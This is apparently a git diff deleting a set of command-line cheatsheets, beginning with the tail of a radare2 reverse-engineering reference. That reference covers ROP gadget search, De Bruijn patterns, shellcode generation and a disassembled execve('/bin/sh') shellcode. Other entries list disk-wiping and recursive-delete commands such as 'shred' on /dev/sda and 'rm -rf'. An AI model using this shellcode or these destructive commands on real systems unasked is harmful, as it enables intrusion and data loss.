Opcode analysis - - ao x: Analize x opcodes from current offset - - a8 bytes: Analize the instruction represented by specified bytes - -# Information - - iI: File info - - iz: Strings in data section - - izz: Strings in the whole binary - - iS: Sections - iS~w returns writable sections - - is: Symbols - is~FUNC exports - - il: Linked libraries - - ii: Imports - - ie: Entrypoint - - + Mitigations - - i~pic : check if the binary has position-independent-code - - i~nx : check if the binary has non-executable stack - - i~canary : check if the binary has canaries - -# Print - - psz n @ offset: Print n zero terminated String - - px n @ offset: Print hexdump (or just x) of n bytes - - pxw n @ offset: Print hexdump of n words - pxw size@offset prints hexadecimal words at address - - pd n @ offset: Print n opcodes disassambled - - pD n @ offset: Print n bytes disassembled - - pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions) - - pdf @ offset: Print disassembled function - pdf~XREF (grep: XREFs) - pdf~call (grep: calls) - - pcp n @ offset: Print n bytes in python string output. - pcp 0x20@0x8048550 - import struct - buf = struct.pack ("32B", - 0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00, - 0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20, - 0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz) - - p8 n @ offset: Print n bytes (8bits) (no hexdump) - - pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...) - - pt: Interpret data as dates - - pf: Print with format - - pf.: list all formats - - p=: Print entropy ascii graph - -# Write - - wx: Write hex values in current offset - wx 123456 - wx ff @ 4 - - wa: Write assembly - wa jnz 0x400d24 - - wc: Write cache commit - - wv: Writes value doing endian conversion and padding to byte - - wo[x]: Write result of operation - wow 11223344 @102!10 - write looped value from 102 to 102+10 - 0x00000066 1122 3344 1122 3344 1122 0000 0000 0000 - - wox 0x90 - XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block) - - wox 67 @4!10 - XOR from offset 4 to 10 with value 67 - - wf file: Writes the content of the file at the current address or specified offset (ASCII characters only) - - wF file: Writes the content of the file at the current address or specified offset - - wt file [sz]: Write to file (from current seek, blocksize or sz bytes) - Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF) - - woO 41424344 : get the index in the De Bruijn Pattern of the given word - -# Flags - - f: List flags - - f label @ offset: Define a flag `label` at offset - f str.pass_len @ 0x804999c - - f -label: Removes flag - - fr: Rename flag - - fd: Returns position from nearest flag (looking backwards). Eg => entry+21 - - fs: Show all flag spaces - - fs flagspace: Change to the specified flag space - - fe loop and create numbered flags: - - 1. fs demo_flagspace - 2. fe demo_flagspace @@=`pdf~jne[1]` - -# Yank & Paste - - y n: Copies n bytes from current position - - y: Shows yank buffer contentent with address and length where each entry was copied from - - yp: Prints yank buffer - - yy offset: Paste the contents of the yank buffer at the specified offset - - yt n target @ source: Yank to. Copy n bytes fromsource to target address - -# Visual Mode - - q: Exits visual mode - - hjkl: move around (or HJKL) (left-down-up-right) - - o: go/seek to given offset - - ?: Help - - .: Seek EIP - - : Follow address of the current jump/call - - :cmd: Enter radare commands. Eg: x @ esi - - d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it. - dr: Rename a function - df: Define a function - - v: Get into the visual code analysis menu to edit/look closely at the current function. - - p/P: Rotate print (visualization) modes - hex, the hexadecimal view - disasm, the disassembly listing - Use numbers in [] to follow jump - Use "u" to go back - - debug, the debugger - words, the word-hexidecimal view - buf, the C-formatted buffer - annotated, the annotated hexdump. - - c: Changes to cursor mode or exits the cursor mode - select: Shift+[hjkl] - i: Insert mode - a: assembly inline - A: Assembly in visual mode - y: Copy - Y: Paste - f: Creates a flag where cursor points to - in the hexdump view to toggle between hex and strings columns - - V: View ascii-art basic block graph of current function - - W: WebUI - - x, X: XREFs to current function. ("u" to go back) - - t: track flags (browse symbols, functions..) - - gG: Begging or end of file - - HUD - _ Show HUD - backspace: Exits HUD - We can add new commands to HUD in: radare2/shlr/hud/main - - ;[-]cmt: Add/remove comment - - m: Define a bookmark - - ': Go to previously defined bookmark - -# ROP - - /R opcodes: Search opcodes - - /R pop,pop,ret - - /Rl opcodes: Search opcodes and print them in linear way - - /Rl jmp eax,call ebx - - /a: Search assembly - - /a jmp eax - - pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng - - e search.roplen = 4 (change the depth of the search, to speed-up the hunt) - -# Searching - - / bytes: Search bytes - \x7fELF - - +------------------------------------------------------------------- - - push ebp - mov ebp, esp - - Opcodes: 5589e5 - - /x 5589e5 - [# ]hits: 54c0f4 < 0x0804c600 hits = 1 - 0x08049f70 hit0_0 5589e557565383e4f081ec - 0x0804c31a hit0_1 5589e583ec18c704246031 - 0x0804c353 hit0_2 5589e583ec1889442404c7 - 0x0804c379 hit0_3 5589e583ec08e87cffffff - 0x0804c3a2 hit0_4 5589e583ec18c70424302d - - pi 5 @@hit* (Print 5 first instructions of every hit) - - +------------------------------------------------------------------- - - Its possible to run a command for each hit. Use the cmd.hit property: - - e cmd.hit=px - -# Comments and defines - - Cd [size]: Define as data - - C- [size]: Define as code - - Cs [size]: Define as String - - Cf [size]: Define as struct - We can define structures to be shown in the disassmbly - - CC: List all comments or add a new comment in console mode - C* Show all comments/metadata - CC add new comment - CC- remove comment - -# Magic files - - pm: Print Magic files analysis - [0x00000000]> pm - 0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1 - - /m [magicfile]: Search magic number headers with libmagic - - search.align - search.from (0 = beginning) - search.to (0 = end) - search.asmstr - search.in - -# Yara - - :yara scan - -# Zignatures - - zg : Generate signatures - eg: zg go go.z - - Run the generated script to load signatures - eg: . go.z - - z: To show signatures loaded: - - +------------------------------------------------------------------- - - r2-(pid2)> pd 35 @ 0x08049adb-10 - | 0x08049adb call fcn.0805b030 - | fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println - | 0x08049ae0 add esp, 0xc - | 0x08049ae3 call fcn.08095580 - - +------------------------------------------------------------------- - -# Compare Files - - r2 -m 0xf0000 /etc/fstab ; Open source file - - o /etc/issue ; Open file2 at offset 0 - - o ; List both files - - cc offset: Diff by columns between current offset address and "offset" - -# Graphs - - + Basic block graphs - - af: Load function metadata - - ag $$ > a.dot: Dump basic block graph to file - - ag $$ | xdot: Show current function basic block graph - - + Call graphs - - af: Load function metadata - - agc $$ > b.dot: Dump basic block graph to file - - + Convert .dot in .png - - dot -Tpng -o /tmp/b.png b.dot - - + Generate graph for file - - radiff2 -g main crackme.bin crackme.bin > /tmp/a - xdot /tmp/a - -# Debugger - - + Start r2 in debugger mode. r2 will fork and attach - - r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /") - - ptrace://pid (debug backend does not notice, only access to mapped memory) - - + Pass arguments - - r2 -d rarun2 program=pwn1 arg1=$(python exploit.py) - - + Pass stdin - - r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) - - + Commands - - do: Reopen program - - dp: Shows debugged process, child processes and threads - - dc: Continue - - dcu
: Continue until symbol (sets bp in address, continua until bp and remove bp) - - dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library) - - ds: Step in - - dso: Step out - - dss: Skip instruction - - dr register=value: Change register value - - dr(=)?: Show register values - - db address: Sets a breakpoint at address - db sym.main add breakpoint into sym.main - db 0x804800 add breakpoint - db -0x804800 remove breakpoint - - dsi (conditional step): Eg: "dsi eax==3,ecx>0" - - dbt: Shows backtrace - - drr: Display in colors and words all the refs from registers or memory - - dm: Shows memory map (* indicates current section) - [0xb776c110]> dm - sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls - sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls - sys 0xb776a000 - 0xb776b000 s r-x [vdso] - sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so - sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so - sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack] - - + To follow child processes in forks (set-follow-fork-mode in gdb) - - dcf until a fork happen then use dp to select what process you want to debug. - - + PEDA like details - - drr;pd 10@-10;pxr 40@esp - - + Debug in visual mode - - toggl breakpoints with F2 - single-step with F7 (s) - step-over with F8 (S) - continue with F9 - -# WebGUI - - =h: Start the server - =H: Start server and browser - -# rax2 - Base Conversion - - -e: Change endian - - -k: random ASCII art to represent a number/hash. Similar to how SSH represents keys - - -s: ASCII to hex - rax2 -S hola (from string to hex) - rax2 -s 686f6c61 (from hex to string) - - -S: binary to hex (for files) - - -N: pack an integer - rax2 -N 0x1234 # \x34\x12\x00\x00 - -# rahash2 - Entropy, hashes and checksums - - -a: Specify the algorithm - - -b XXX: Block size - - -B: Print all blocks - - -a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy) - - + Rot13 with rahash2 - rahash2 -E rot -S s:13 -s ‘Hello\n’ - -# radiff2 - File diffing - - -s: Calculate text distance from two files. - - -d: Delta diffing (For files with different sizes. Its not byte per byte) - - -C: Code diffing (instead of data) - - +------------------------------------------------------------------- - - Diff original and patched on x86_32, using graphdiff algorithm - radiff2 -a x86 -b32 -C original patched - - Show differences between original and patched on x86_32 - radiff2 -a x86 -b32 original patched : - - +------------------------------------------------------------------- - -# rasm2 - Assembly/Disasembly - - -L: Supported architectures - - -a arch instruction: Sets architecture - rasm2 -a x86 'mov eax,30' => b81e000000 - - -b tam: Sets block size - - -d: Disassembly - rasm2 -d b81e000000 => mov eax, 0x1e - - -C: Assembly in C output - rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00" - - -D: Disassemble showing hexpair and opcode - rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e - - -f: Read data from file instead of ARG. - - -t: Write data to file - - + Disassemble shellcode from hex stdin - - +------------------------------------------------------------------- - - echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d - - xor eax, eax - movabs rbx, 0xff978cd091969dd1 - neg rbx - push rbx - push rsp - pop rdi - cdq - push rdx - push rdi - push rsp - pop rsi - mov al, 0x3b - syscall - - +------------------------------------------------------------------- - -# rafind2 - Search - - -Z: Look for Zero terminated strings - - -s str: Look for specifc string - - -X: Hex dump around output - - + Search "/bin/sh" in libc - - rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6 - -# ragg2 - Shellcode generator, C/opcode compiler - - P: Generate De Bruijn patterns - ragg2 -P 300 -r - - -a arch: Configure architecture - - -b bits: Specify architecture bits (32/64) - - -i shellcode: Specify shellcode to generate - - -e encoder: Specify encoder - - + ragg2-cc: Generate shellcode from c - - + Generate a x86, 32 bits exec shellcode - ragg2 -a x86 -b 32 -i exec - -# rabin2 - Executable analysis: symbols, imports, strings - - -I: Executable information - - -C: Returns classes. Useful to list Java Classes - - -l: Dynamic linked libraries - - -s: Symbols - - -z: Strings - -# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds - - r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits - r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin - -# ESIL emulation - - 1) aei: Initialize ESIL VM - - 2) aeim: Assign ESIL stack - aeim 0xffffd000 0x1000 stack - - 3) aeip: Program counter to current seek - - 4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code) - - 5) aes: Single stepping in emulation mode - - + Toggle IL representation via O in Visual Mode - -# ESIL Linear emulation - - Find all references to curr. address using linear esil emulation on all imports. - - /re$$@@ sym.imp.* - -# ESIL IL Representation - - op esil - ------------ - mov = - mul * - div / - and & - neg ! - read [] - if ?{ - add + - sub - - xor ^ - or | - cmp == - write =[] - - + prefix is % - + carry from bit x -> %cx - + borrow from bit x -> %bx - + zero-flag -> %z - + parity of dst -> %p - + sign-flag -> %s - + overflow-flag -> %o - - + BREAK - Stop parsing and emulate next instruction - + LOOP - restart emulation of instruction - + GOTO n - jump to n - + TODO - stop emulation and eprintf("TDOD %s", ins) - - x86 ESIL - ------------------------------------------------------ - mov eax, ebx ebx,eax,= - jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,} - cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,= - push ebp 4,esp,-=ebp,esp,=[4] - - + ESIL Doc - https://github.com/radare/radare2book/blob/master/esil.md - -# r2pipe commands - - + Invoke r2pipe script via r2 cmdline - - [0x00000000]> #!pipe node script.js - [0x00000000]> #!pipe python script.py - - + Good collection: - https://radare.org/get/r2pipe-nn2015.pdf - https://github.com/jpenalbae/r2-scripts -# Parsing ELF - - !!! open with r2 -nn - - + Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..) - - [0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~.. - -# pf Templates - - + Generate templates for structs/enums with td command - - "td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};" - - https://github.com/Maijin/r2-pf-templates/ - - + Cast data @ to and print it - - tp =
- -# r2scapy - - r2 -i r2scapy.py dump.bin - [0x00000000]> scapy DNS 0x81de3c 48 - DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.')) - - + generate packets with scapy - >>> from scapy.all import * - >>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0) - -# r2m2 -Miasm Intermediate Representation Plugin - - + Assemble and disassemble MIPS32 using rasm2 - - r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d - - ADDIU A0, A1, 0x2 - - + Disassemble random MSP430 instructions in r2 - - r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' - - 0x00000000 07fa and.w R10, R7 - 0x00000002 47ad dadd.b R13, R7 - 0x00000004 f05e0778 add.b @R14+, 0x7807(PC) - 0x00000008 f46d81ed addc.b @R13+, 0xED81(R4) - 0x0000000c 3fdc bis.w @R12+, R15 - + Assemble MIPS32 using rasm2 and display the call graph using r2 - - r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin - - r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin - ,=< 0x00000000 0c000001 JAL 0x4 - `-> 0x00000004 00000000 NOP - -# bin carving with r2 - - + Open raw dump - - r2 -n dump.bin - - + Searching for magic - - [0x00000000]> / \x7fELF - Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46 - 0x00001340 hit0_0 - 0x00001744 hit0_1 - ... - - + Dump 1M with at several hits - - [0x00000000]> b 1M - [0x00000000]> wt @@ hit0* - - + Automate it - - $ for a in dump.* ; do - sz=`rabin2 -Z $a` # get RBin.filesize - r2 -wnqc"r $sz" $a # resize file - done - - http://radare.today/posts/carving-bins/ - -# r4ge - symbolic execution - + https://github.com/gast04/r4ge - - Usage: https://asciinema.org/a/155856 - -# r2wiki -Macro for using wiki in commandline - - + https://github.com/securisec/r2wiki - - $wiki "query string" - diff --git a/assets/cheatsheets/rcs b/assets/cheatsheets/rcs deleted file mode 100644 index a5762ab..0000000 --- a/assets/cheatsheets/rcs +++ /dev/null @@ -1,26 +0,0 @@ -# To initially check-in a file (leaving file active in filesystem): -ci -u - -# To check out with lock: -co -l - -# To check in and unlock (leaving file active in filesystem): -ci -u - -# To display version x.y of a file: -co -px.y - -# To undo to version x.y (overwrites file active in filesystem with the specified revision): -co -rx.y - -# To diff file active in filesystem and last revision: -rcsdiff - -# To diff versions x.y and x.z: -rcsdiff -rx.y -rx.z - -# To view log of check-ins: -rlog - -# To break an RCS lock held by another person on a file: -rcs -u diff --git a/assets/cheatsheets/readline b/assets/cheatsheets/readline deleted file mode 100644 index ef82e1a..0000000 --- a/assets/cheatsheets/readline +++ /dev/null @@ -1,49 +0,0 @@ - Moving around -Ctrl-b Move the cursor one character ⇦ to the left -Ctrl-f Move the cursor one character ⇨ to the right -Alt-b Move the cursor one word ⇦ to the left -Alt-f Move the cursor one word ⇨ to the right -Ctrl-a Move the cursor ⇤ to the start of the line -Ctrl-e Move the cursor ⇥ to the end of the line -Ctrl-x-x Move the cursor ⇤⇥ to the start, and to the end again - - Cut, copy and paste -Backspace Delete the character ⇦ to the left of the cursor -DEL -Ctrl-d Delete the character underneath the cursor -Ctrl-u Delete everything ⇤ from the cursor back to the line start -Ctrl-k Delete everything ⇥ from the cursor to the end of the line -Alt-d Delete word ⇨ until before the next word boundary -Ctrl-w Delete word ⇦ until after the previous word boundary -Ctrl-y Yank/Paste prev. killed text at the cursor position -Alt-y Yank/Paste prev. prev. killed text at the cursor position - - History -Ctrl-p Move in history one line ⇧ before this line -Ctrl-n Move in history one line ⇩ after this line -Alt-> Move in history all the lines ⇩ to the line currently being entered -Ctrl-r Incrementally search the line history ⇧ backwardly -Ctrl-s Incrementally search the line history ⇩ forwardly -Ctrl-J End an incremental search -Ctrl-G Abort an incremental search and restore the original line -Alt-Ctrl-y Yank/Paste arg. 1 of prev. cmnd at the cursor position -Alt-. -Alt-_ Yank/Paste last arg of prev. cmnd at the cursor position - - Undo -Ctrl-_ -Ctrl-x -Ctrl-u Undo the last editing command; you can undo all the way back to an empty line -Alt-r Undo all changes made to this line -Ctrl-l Clear the screen, reprinting the current line at the top -Ctrl-l Clear the screen, reprinting the current line at the top - - Completion -TAB Auto-complete a name -Alt-/ Auto-complete a name (without smart completion) -Alt-? List the possible completions of the preceeding text -Alt-* Insert all possible completions of the preceeding text - - Transpose -Ctrl-t Transpose/drag char. before the cursor ↷ over the character at the cursor -Alt-t Transpose/drag word before the cursor ↷ over the word at/after the cursor diff --git a/assets/cheatsheets/rename b/assets/cheatsheets/rename deleted file mode 100644 index bf825e2..0000000 --- a/assets/cheatsheets/rename +++ /dev/null @@ -1,5 +0,0 @@ -# To lowercase all files and folders in current directory: -rename 'y/A-Z/a-z/' * - -# To replace 'sometext' with 'replacedby' in all files in current directory: -rename 's/sometext/replacedby/' * diff --git a/assets/cheatsheets/rm b/assets/cheatsheets/rm deleted file mode 100644 index 3cecb81..0000000 --- a/assets/cheatsheets/rm +++ /dev/null @@ -1,8 +0,0 @@ -# To remove all files and subdirs in : -rm -rf - -# To ignore non-existent files: -rm -f - -# To remove a file with this inode: -find /tmp/ -inum 6666 -exec rm -i '{}' \; diff --git a/assets/cheatsheets/rmdir b/assets/cheatsheets/rmdir deleted file mode 100644 index a5dae1e..0000000 --- a/assets/cheatsheets/rmdir +++ /dev/null @@ -1,14 +0,0 @@ -# Command syntax: -rmdir [option] directory_name - -# Outputs a message that the directory is being removed: -rmdir -v directory_name - -# adding the -p option deletes the child directory then its parent directory: -rmdir-p directory_name - -# Shows the syntax of the command: -rmdir --help - -# Get the command version: -rmdir --version diff --git a/assets/cheatsheets/route b/assets/cheatsheets/route deleted file mode 100644 index d44cbe3..0000000 --- a/assets/cheatsheets/route +++ /dev/null @@ -1,39 +0,0 @@ ---- -tags: [ networking ] ---- -# To display routing table IP addresses instead of host names: -route -n - -# To add a default gateway: -route add default gateway 192.168.0.1 - -# To add the normal loopback entry, using netmask 255.0.0.0 and associated with -# the "lo" device (assuming this device was previously set up correctly with -# ifconfig(8)): -route add -net 127.0.0.0 netmask 255.0.0.0 dev lo - -# To add a route to the local network 192.56.76.x via "eth0". The word "dev" can be omitted here: -route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0 - -# To delete the current default route, which is labeled "default" or 0.0.0.0 in the destination field of the current routing table: -route del default - -# To add a default route (which will be used if no other route matches). All -# packets using this route will be gatewayed through "mango-gw". The device -# which will actually be used for that route depends on how we can reach -# "mango-gw" - the static route to "mango-gw" will have to be set up before: -route add default gw mango-gw - -# To add the route to the "ipx4" host via the SLIP interface (assuming that "ipx4" is the SLIP host): -route add ipx4 sl0 - -# To add the net "192.57.66.x" to be gateway through the former route to the SLIP interface: -route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4 - -# To install a rejecting route for the private network "10.x.x.x.": -route add -net 10.0.0.0 netmask 255.0.0.0 reject - -# This is an obscure one documented so people know how to do it. This sets all -# of the class D (multicast) IP routes to go via "eth0". This is the correct -# normal configuration line with a multicasting kernel: -route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 diff --git a/assets/cheatsheets/rpm b/assets/cheatsheets/rpm deleted file mode 100644 index ff84fd3..0000000 --- a/assets/cheatsheets/rpm +++ /dev/null @@ -1,37 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install a package: -rpm -ivh - -# To update a package: -rpm -Uv - -# To remove a package: -rpm -e - -# To remove a package, but not its dependencies -rpm -e --nodeps - -# To find what package installs a file: -rpm -qf - -# To find what files are installed by a package: -rpm -ql -rpm -qpl - -# To find what packages require a package or file: -rpm -q --whatrequires -rpm -q --whatrequires - -# To list all installed packages: -rpm -qa - -# To find a packages's dependencies: -rpm -i --test - -# To display checksum against a source: -rpm -K - -# To verify a package: -rpm -V diff --git a/assets/cheatsheets/rpm2cpio b/assets/cheatsheets/rpm2cpio deleted file mode 100644 index 04ec007..0000000 --- a/assets/cheatsheets/rpm2cpio +++ /dev/null @@ -1,8 +0,0 @@ ---- -tags: [ packaging ] ---- -# To list contents of an RPM: -rpm2cpio | cpio -vt - -# To extract contents of an RPM: -rpm2cpio | cpio -vid diff --git a/assets/cheatsheets/rss2email b/assets/cheatsheets/rss2email deleted file mode 100644 index 31ba0d5..0000000 --- a/assets/cheatsheets/rss2email +++ /dev/null @@ -1,17 +0,0 @@ -# To list all feeds: -r2e list - -# To convert RSS entries to email: -r2e run - -# To add a new feed: -r2e add - -# To add a new feed with new email address: -r2e add [new-email-address] - -# To delete a feed : -r2e delete - -# To get help: -r2e -h diff --git a/assets/cheatsheets/rsync b/assets/cheatsheets/rsync deleted file mode 100644 index ac2fcd3..0000000 --- a/assets/cheatsheets/rsync +++ /dev/null @@ -1,32 +0,0 @@ -# To copy files from remote to local, maintaining file properties and sym-links -# (-a), zipping for faster transfer (-z), verbose (-v): -rsync -avz host:file1 :file1 /dest/ -rsync -avz /source host:/dest - -# To copy files using checksum (-c) rather than time to detect if the file has -# changed. (Useful for validating backups): -rsync -avc - -# To copy /src/foo folder into destination: -# This command will create /dest/foo if it does not already exist -rsync -auv /src/foo /dest - -# To copy contents of /src/foo into destination: -# This command will not create /foo_bak/foo folder -rsync -auv /src/foo/ /foo_bak - -# To copy file from local to remote over ssh with non standard port 1234 to -# destination folder in remoteuser's home directory: -rsync -avz -e "ssh -p1234" @: - -# Use the specified authentication key, instead of typing a password: -# (The key can be generated by ssh-keygen, and the public key should be placed -# in remote's authorized_keys, e.g. using ssh-copy-id) -rsync -avz -e "ssh -i ~/.ssh/id_rsa" - -# Log into remote as a user, but promote to root, to access privileged files: -rsync -avz --rsync-path="sudo rsync" user@ - -# Rsync only symlinks and preserve them as symlinks (dont follow them): -find /path/to/files -type l -print | \ - rsync -av --files-from=- /path/to/files user@targethost:/dest_path diff --git a/assets/cheatsheets/ruby b/assets/cheatsheets/ruby deleted file mode 100644 index fd429df..0000000 --- a/assets/cheatsheets/ruby +++ /dev/null @@ -1,19 +0,0 @@ -# Ruby - Interpreted object-oriented scripting language -# Main page: https://www.ruby-lang.org/ -# Help and documentation: https://ruby-doc.org/ - -# To serve the current directory: -ruby -run -e httpd . -p - -# To execute a script file: -ruby - -# To execute one line of script: -ruby -e 'command' - -# To check script file syntax: -ruby -c - -# To specify $LOAD_PATH directory: -ruby -Idirectory -ruby -Ispec spec/test_spec.rb diff --git a/assets/cheatsheets/salt b/assets/cheatsheets/salt deleted file mode 100644 index b54035c..0000000 --- a/assets/cheatsheets/salt +++ /dev/null @@ -1,36 +0,0 @@ ---- -syntax: bash -tags: [ salt, saltstack ] ---- -# Show pending keys to be accepted: -salt-key -L - -# Accept all pending keys: -salt-key -A - -# Accept pending key by name: -salt-key -a - -# Remove key by name: -salt-key -D - -# Test minion connection: -salt test.ping - -# Show active salt jobs -salt-run jobs.active - -# Kill active job -salt saltutil.kill_job - -# Copy small file (< 100kb) from master to minion -salt-cp - -# Copy large file from master (/srv/salt/) directory to minion -salt cp.get_file salt:// - -# Copy file from minion to master (will be stored at /var/cache/salt/master/minions//files -salt cp.push - -# Deploy state -salt state.apply diff --git a/assets/cheatsheets/sam2p b/assets/cheatsheets/sam2p deleted file mode 100644 index f92c734..0000000 --- a/assets/cheatsheets/sam2p +++ /dev/null @@ -1,2 +0,0 @@ -# To concatenate all pdf files into one: -sam2p *.pdf out.pdf diff --git a/assets/cheatsheets/sar b/assets/cheatsheets/sar deleted file mode 100644 index 3d79893..0000000 --- a/assets/cheatsheets/sar +++ /dev/null @@ -1,24 +0,0 @@ ---- -tags: [ reporting ] ---- - -# Reports CPU utilization every 2 seconds, 5 times: -sar -u 2 5 - -# Report the CPU usage for a given core: -sar -P 1 1 3 - -# Reports the amount of memory used, amount of memory free, available cache, available buffers every 1 second, 3 times: -sar -r 1 3 - -# Reports statistics on swapping: -sar -S 1 3 - -# Reports on the file systems mounted every 2 seconds 5 times: -sar -F 2 5 - -# Reports on the block devices every 1 second, 3 times: -sar -d 1 3 - -# Reports on the network interface, network speed, IPV4, TCPV4, ICMP traffic and errors: -sar -n DEV 1 3 | grep -v lo diff --git a/assets/cheatsheets/scd b/assets/cheatsheets/scd deleted file mode 100644 index 88b4b3c..0000000 --- a/assets/cheatsheets/scd +++ /dev/null @@ -1,20 +0,0 @@ -# To index recursively some paths for the very first run: -scd -ar ~/Documents/ - -# To change to a directory path matching "doc": -scd doc - -# To change to a path matching all of "a", "b" and "c": -scd a b c - -# To change to a directory path that ends with "ts": -scd "ts$" - -# To show selection menu and ranking of 20 most likely directories: -scd -v - -# To alias current directory as "xray": -scd --alias=xray - -# To jump to a previously defined aliased directory: -scd xray diff --git a/assets/cheatsheets/scp b/assets/cheatsheets/scp deleted file mode 100644 index 02ffb91..0000000 --- a/assets/cheatsheets/scp +++ /dev/null @@ -1,11 +0,0 @@ -# To copy a file from your local machine to a remote server: -scp @: - -# To copy a file from a remote server to your local machine: -scp @: - -# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup): -scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" @: - -# To scp between two remote servers from the third machine: -scp -3 @: @: diff --git a/assets/cheatsheets/screen b/assets/cheatsheets/screen deleted file mode 100644 index 2c212c7..0000000 --- a/assets/cheatsheets/screen +++ /dev/null @@ -1,14 +0,0 @@ -# To start a new named screen session: -screen -S - -# To detach from the current session: -Press Ctrl+A then press d - -# To re-attach a detached session: -screen -r - -# To list all screen sessions: -screen -ls - -# To quit a session: -screen -XS quit diff --git a/assets/cheatsheets/sed b/assets/cheatsheets/sed deleted file mode 100644 index c506e17..0000000 --- a/assets/cheatsheets/sed +++ /dev/null @@ -1,23 +0,0 @@ -# To replace all occurrences of "day" with "night" and write to stdout: -sed 's/day/night/g' - -# To replace all occurrences of "day" with "night" within : -sed -i 's/day/night/g' - -# To replace all occurrences of "day" with "night" on stdin: -echo 'It is daytime' | sed 's/day/night/g' - -# To remove leading spaces: -sed -i -r 's/^\s+//g' - -# To remove empty lines and print results to stdout: -sed '/^$/d' - -# To replace newlines in multiple lines: -sed ':a;N;$!ba;s/\n//g' - -# To insert a line before a matching pattern: -sed '/Once upon a time/i\Chapter 1' - -# To add a line after a matching pattern: -sed '/happily ever after/a\The end.' diff --git a/assets/cheatsheets/sha256sum b/assets/cheatsheets/sha256sum deleted file mode 100644 index 11e40d4..0000000 --- a/assets/cheatsheets/sha256sum +++ /dev/null @@ -1,30 +0,0 @@ ---- -tags: [ cryptography, hash, checksum, verification ] ---- -# To compute hash (checksum) of : -sha256sum - -# To compute hash (checksum) from input text: -# Enter text in keyboard and finish by ctrl-D at beginning of line -sha256sum -Some text -^D - -echo -n "Hello World" | sha256sum - -# To verify if a hash (checksum) is correct if a hash-file is provided: -# sha256sum will go thru the files listed in . -# For each file it will look if it exists. If not, it will print an error. -# If it does exist it will compute the checksum and compare it with the hash -# provided in the . If they match (good!) it -# will print "filename: OK". -# If they don't match (warning, you might have been hacked), it will -# print "filename: FAILED". -sha256sum --check - -# Same as above (but ignore missing files): -# This tells you if your file is an exact copy (OK) or has been -# tampered with (FAILED) without bothering you with warnings about -# missing files -sha256sum --check --ignore-missing - diff --git a/assets/cheatsheets/shred b/assets/cheatsheets/shred deleted file mode 100644 index 89c606f..0000000 --- a/assets/cheatsheets/shred +++ /dev/null @@ -1,13 +0,0 @@ -# To shred a file (5 passes) and verbose output: -shred -n 5 -v - -# To shred a file (5 passes) and a final overwrite of zeroes: -shred -n 5 -vz - -# To do the above, and then truncate and rm the file: -shred -n 5 -vzu - -# To shred a partition: -shred -n 5 -vz /dev/sda - -# Remember that shred may not behave as expected on journaled file systems if file data is being journaled. diff --git a/assets/cheatsheets/shutdown b/assets/cheatsheets/shutdown deleted file mode 100644 index b595a07..0000000 --- a/assets/cheatsheets/shutdown +++ /dev/null @@ -1,11 +0,0 @@ -# To reboot the system immediately: -shutdown -r now - -# To shut system down immediately: -shutdown -h now - -# To reboot system after 5 minutes: -shutdown -r +5 - -# To cancel a scheduled shutdown: -shutdown -c diff --git a/assets/cheatsheets/slurm b/assets/cheatsheets/slurm deleted file mode 100644 